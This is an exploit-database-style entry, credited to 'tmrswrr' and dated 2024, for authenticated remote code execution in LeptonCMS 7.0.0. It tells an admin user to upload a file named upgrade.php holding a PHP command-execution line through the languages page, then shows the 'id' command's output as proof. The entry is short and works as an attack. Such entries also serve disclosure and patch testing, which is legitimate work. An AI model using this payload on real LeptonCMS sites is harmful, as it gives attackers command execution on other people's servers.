# Exploit Title: LeptonCMS 7.0.0 - Remote Code Execution (RCE) (Authenticated)# Date: 2024-1-19# Exploit Author: tmrswrr# Category: Webapps# Vendor Homepage: https://www.lepton-cms.com/# Version : 7.0.01) Login with admin cred >https://127.0.0.1/LEPTON/backend/login/index.php
2) Go to Languages place > https://127.0.0.1/LEPTON/backend/languages/index.php
3) Upload upgrade.php filein languages place ><?php echo system('id'); ?>4) After click install you will be see result
# Result :uid=1000(lepton) gid=1000(lepton) groups=1000(lepton) uid=1000(lepton) gid=1000(lepton) groups=1000(lepton)